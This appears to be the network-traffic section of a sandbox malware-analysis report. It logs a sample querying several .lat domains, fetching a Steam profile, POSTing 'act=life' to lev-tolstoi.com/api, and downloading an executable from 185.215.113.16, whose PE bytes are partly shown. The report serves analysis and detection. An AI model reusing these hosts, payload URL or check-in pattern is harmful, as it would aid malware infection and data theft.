Dec 26, 2024 13:22:45.782119989 CET	59372	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:22:45.975383997 CET	53	59372	1.1.1.1	192.168.2.8
Dec 26, 2024 13:22:45.980784893 CET	57777	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:22:46.225502014 CET	53	57777	1.1.1.1	192.168.2.8
Dec 26, 2024 13:22:46.227611065 CET	62627	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:22:46.367069006 CET	53	62627	1.1.1.1	192.168.2.8
Dec 26, 2024 13:22:46.371197939 CET	64391	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:22:46.508339882 CET	53	64391	1.1.1.1	192.168.2.8
Dec 26, 2024 13:22:46.513449907 CET	59100	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:22:46.653419971 CET	53	59100	1.1.1.1	192.168.2.8
Dec 26, 2024 13:22:49.216141939 CET	56116	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:22:49.354700089 CET	53	56116	1.1.1.1	192.168.2.8
Dec 26, 2024 13:23:24.933398008 CET	53	51094	1.1.1.1	192.168.2.8
Dec 26, 2024 13:23:24.987402916 CET	53	63291	1.1.1.1	192.168.2.8
Dec 26, 2024 13:23:26.888675928 CET	138	138	192.168.2.8	192.168.2.255
Dec 26, 2024 13:23:28.198117018 CET	53	60509	1.1.1.1	192.168.2.8
Dec 26, 2024 13:23:28.978702068 CET	55648	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:23:28.978837013 CET	63764	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:23:29.115978956 CET	53	63764	1.1.1.1	192.168.2.8
Dec 26, 2024 13:23:29.116476059 CET	53	55648	1.1.1.1	192.168.2.8
Dec 26, 2024 13:23:29.591152906 CET	58695	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:23:29.591531038 CET	51819	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:23:31.951201916 CET	56343	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:23:31.951351881 CET	59275	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:23:41.150775909 CET	53	57000	1.1.1.1	192.168.2.8
Dec 26, 2024 13:23:45.185820103 CET	53	63666	1.1.1.1	192.168.2.8
Dec 26, 2024 13:24:04.097891092 CET	53	55991	1.1.1.1	192.168.2.8
Dec 26, 2024 13:24:24.504033089 CET	53	52071	1.1.1.1	192.168.2.8
Dec 26, 2024 13:24:26.776555061 CET	53	63412	1.1.1.1	192.168.2.8
Dec 26, 2024 13:24:29.601394892 CET	58965	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:24:29.601550102 CET	54816	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 26, 2024 13:22:45.060384989 CET	192.168.2.8	1.1.1.1	0x7f97	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:45.202832937 CET	192.168.2.8	1.1.1.1	0xb433	Standard query (0)	wordyfindy.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:45.348136902 CET	192.168.2.8	1.1.1.1	0x7d55	Standard query (0)	slipperyloo.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:45.488822937 CET	192.168.2.8	1.1.1.1	0x5735	Standard query (0)	manyrestro.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:45.630362034 CET	192.168.2.8	1.1.1.1	0xdbdd	Standard query (0)	shapestickyr.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:45.782119989 CET	192.168.2.8	1.1.1.1	0x896c	Standard query (0)	talkynicer.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:45.980784893 CET	192.168.2.8	1.1.1.1	0x4a3b	Standard query (0)	curverpluch.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:46.227611065 CET	192.168.2.8	1.1.1.1	0x3a30	Standard query (0)	tentabatte.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:46.371197939 CET	192.168.2.8	1.1.1.1	0x1656	Standard query (0)	bashfulacid.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:46.513449907 CET	192.168.2.8	1.1.1.1	0x3a54	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:49.216141939 CET	192.168.2.8	1.1.1.1	0x15a6	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:23:28.978702068 CET	192.168.2.8	1.1.1.1	0xb3d9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:23:28.978837013 CET	192.168.2.8	1.1.1.1	0xd7a1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 26, 2024 13:23:29.591152906 CET	192.168.2.8	1.1.1.1	0xe82d	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:23:29.591531038 CET	192.168.2.8	1.1.1.1	0x433b	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Dec 26, 2024 13:23:31.951201916 CET	192.168.2.8	1.1.1.1	0x102c	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:23:31.951351881 CET	192.168.2.8	1.1.1.1	0x9af9	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 26, 2024 13:24:29.601394892 CET	192.168.2.8	1.1.1.1	0x65fa	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:24:29.601550102 CET	192.168.2.8	1.1.1.1	0x77bc	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 26, 2024 13:22:45.197129965 CET	1.1.1.1	192.168.2.8	0x7f97	Name error (3)	observerfry.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:45.341389894 CET	1.1.1.1	192.168.2.8	0xb433	Name error (3)	wordyfindy.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:45.485130072 CET	1.1.1.1	192.168.2.8	0x7d55	Name error (3)	slipperyloo.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:45.626677036 CET	1.1.1.1	192.168.2.8	0x5735	Name error (3)	manyrestro.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:45.777609110 CET	1.1.1.1	192.168.2.8	0xdbdd	Name error (3)	shapestickyr.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:45.975383997 CET	1.1.1.1	192.168.2.8	0x896c	Name error (3)	talkynicer.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:46.225502014 CET	1.1.1.1	192.168.2.8	0x4a3b	Name error (3)	curverpluch.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:46.367069006 CET	1.1.1.1	192.168.2.8	0x3a30	Name error (3)	tentabatte.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:46.508339882 CET	1.1.1.1	192.168.2.8	0x1656	Name error (3)	bashfulacid.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:46.653419971 CET	1.1.1.1	192.168.2.8	0x3a54	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:49.354700089 CET	1.1.1.1	192.168.2.8	0x15a6	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:49.354700089 CET	1.1.1.1	192.168.2.8	0x15a6	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:23:29.115978956 CET	1.1.1.1	192.168.2.8	0xd7a1	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 26, 2024 13:23:29.116476059 CET	1.1.1.1	192.168.2.8	0xb3d9	No error (0)	www.google.com		216.58.208.228	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:23:29.732631922 CET	1.1.1.1	192.168.2.8	0xe82d	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:29.732646942 CET	1.1.1.1	192.168.2.8	0x433b	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:32.088402033 CET	1.1.1.1	192.168.2.8	0x102c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:32.088402033 CET	1.1.1.1	192.168.2.8	0x102c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:32.088402033 CET	1.1.1.1	192.168.2.8	0x102c	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:32.088402033 CET	1.1.1.1	192.168.2.8	0x102c	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:23:32.089109898 CET	1.1.1.1	192.168.2.8	0x9af9	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:32.089109898 CET	1.1.1.1	192.168.2.8	0x9af9	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:32.089149952 CET	1.1.1.1	192.168.2.8	0x143b	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:32.089149952 CET	1.1.1.1	192.168.2.8	0x143b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:32.089149952 CET	1.1.1.1	192.168.2.8	0x143b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:23:32.100718975 CET	1.1.1.1	192.168.2.8	0x4d18	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:35.373531103 CET	1.1.1.1	192.168.2.8	0x42a8	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:35.373531103 CET	1.1.1.1	192.168.2.8	0x42a8	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:35.373531103 CET	1.1.1.1	192.168.2.8	0x42a8	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:23:35.374892950 CET	1.1.1.1	192.168.2.8	0x9e01	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:24:29.740665913 CET	1.1.1.1	192.168.2.8	0x77bc	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:24:29.825522900 CET	1.1.1.1	192.168.2.8	0x65fa	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49716	185.215.113.16	80	7548	C:\Users\user\Desktop\pVbAZEFIpI.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 13:23:12.548432112 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 26, 2024 13:23:13.981372118 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Dec 2024 12:23:12 GMT Content-Type: application/octet-stream Content-Length: 2801664 Last-Modified: Thu, 26 Dec 2024 11:19:36 GMT Connection: keep-alive ETag: "676d3bc8-2ac000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 c5 4d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+M+`Ui`D @ @ @.rsrcD``@.idata f@gtwxvlel@2h@vnlbxhun *@.taggant@+"@
Dec 26, 2024 13:23:13.981389046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 13:23:13.981400967 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 13:23:13.981488943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 13:23:13.981501102 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 13:23:13.981512070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 13:23:13.981525898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 13:23:13.981653929 CET	1236	IN	Data Raw: 5d 75 4f 20 49 53 6c 40 19 54 46 20 71 63 46 20 53 75 4a 20 49 53 6c 26 71 51 46 20 4f 73 70 20 49 60 76 23 49 b2 46 20 49 50 46 20 5a 75 5d 20 49 57 c4 34 49 4d 50 2a 54 63 52 4b 90 54 4e ba 56 56 b5 38 49 4d 50 92 6c 4d 46 90 71 66 46 20 53 79 Data Ascii: ]uO ISl@TF qcF SuJ ISl&qQF Osp I`v#IF IPF Zu] IW4IMPTcRKTNVV8IMPlMFqfF Sys)gF SmT KMX qPF OzGJOuK ISlHUMF&R` IWn$IMLFQd,QT{MHMMF&owF I`v#IF IPF Zu] IW4IMPTcRKTNVV8IMPJMFqfF Syn)gF SmT KMX qPF OzGJOuK ISl)gF SuJ ISl(`R
Dec 26, 2024 13:23:13.981664896 CET	1236	IN	Data Raw: 51 53 46 5c 4f 33 50 26 49 3e 4e 0e 52 53 46 ae 53 3b 4f 26 49 b2 4c 0e 52 53 46 ea 53 3b 4f 26 49 9a 4f 12 54 57 46 a6 53 01 50 26 49 63 51 2a 49 53 46 15 52 3b 4f 26 49 ae 4d 0e 52 53 46 0c 4f 3b 4f 26 49 fa 4f 0e 52 53 46 68 4d 86 4e 26 49 b1 Data Ascii: QSF\O3P&I>NRSFS;O&ILRSFS;O&IOTWFSP&IcQISFR;O&IMRSFO;O&IORSFhMN&INRSFBTWF&INISFMWF&IMKRMF IgF IMF!INF J]FJOPeINF!IMG0IMSF!IOF I]FQkNqIOF#IPG IN IF'IaF#JMFOMFIZF4IPG I-L IF3IaF#JMFSMFIgF4IPG IH IFBIaF#JMFhKMF
Dec 26, 2024 13:23:13.981677055 CET	1236	IN	Data Raw: 49 c6 46 c7 52 5d 46 a1 49 f4 4f 26 49 e6 46 c7 52 67 46 e9 49 f4 4f 26 49 d6 46 c7 52 53 46 c9 49 f4 4f 21 49 26 47 51 52 76 46 f9 49 78 51 4c 49 2e 47 56 52 7f 46 d1 49 71 50 61 49 fe 46 b4 4e 94 46 09 4a 78 51 6b 49 fe 46 2c 4e 9e 46 11 4a 1e Data Ascii: IFR]FIO&IFRgFIO&IFRSFIO!I&GQRvFIxQLI.GVRFIqPaIFNFJxQkIF,NFJLIG+TFIKQIG$QFIHNIVG5OSFIO&IVF(IF)IYFIVF0IF)IaFIVF8IF)ImFIVFDIF)IuFIVFLIF)I}FIVFXIF)IFIVF`IF)IFIVFhIF)IFIVFtIF)IFIVF\|IG)IFIVF
Dec 26, 2024 13:23:14.101072073 CET	1236	IN	Data Raw: 96 9c 8a 69 8f a6 a5 62 98 9c 9a 7f 8c 9c 94 66 92 94 46 73 8e 9f 9c 69 8c 92 a5 71 9e 92 98 79 a8 90 95 6e 8f 96 8d 20 9c 90 a5 6d 8a 9b 87 67 8e 9f a5 6c 98 90 91 20 9c 92 98 76 92 90 8b 7f 8e 9f 98 6f 9b ac 89 72 92 a1 8f 63 8a 99 46 73 8e 9f Data Ascii: ibfFsiqyn mgl vorcFsierr vrfdnlIrenlIuwMectFsikerrIrelymi veFsia

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	104.102.49.254	443	7548	C:\Users\user\Desktop\pVbAZEFIpI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:48 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-26 12:22:48 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 26 Dec 2024 12:22:48 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=eec449e36fdfce10633070aa; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-26 12:22:48 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-26 12:22:49 UTC	16384	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-26 12:22:49 UTC	3768	IN	Data Raw: 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 22 Data Ascii: </div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_persona_name"
2024-12-26 12:22:49 UTC	490	IN	Data Raw: 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 74 Data Ascii: r Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div class="bt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	172.67.157.254	443	7548	C:\Users\user\Desktop\pVbAZEFIpI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:50 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-26 12:22:50 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-26 12:22:51 UTC	1119	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:22:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6mq6on8k5tfise4s0dd78sc3ks; expires=Mon, 21 Apr 2025 06:09:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vtoOw8EufIAxtz6MjnZHgtVrxATmASmx4UWHOVV1M9I5uuqaWvr6FBNkTi0nQHlNkUm9CsLx7rJkX3OvlH3rz6oGEIyVRbQRQeM9480YTvz1MalEXOXKNuszLXXhJge7%2BC8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8109e878174255-EWR alt-svc: h3=":443"; ma=86400 server-timing: 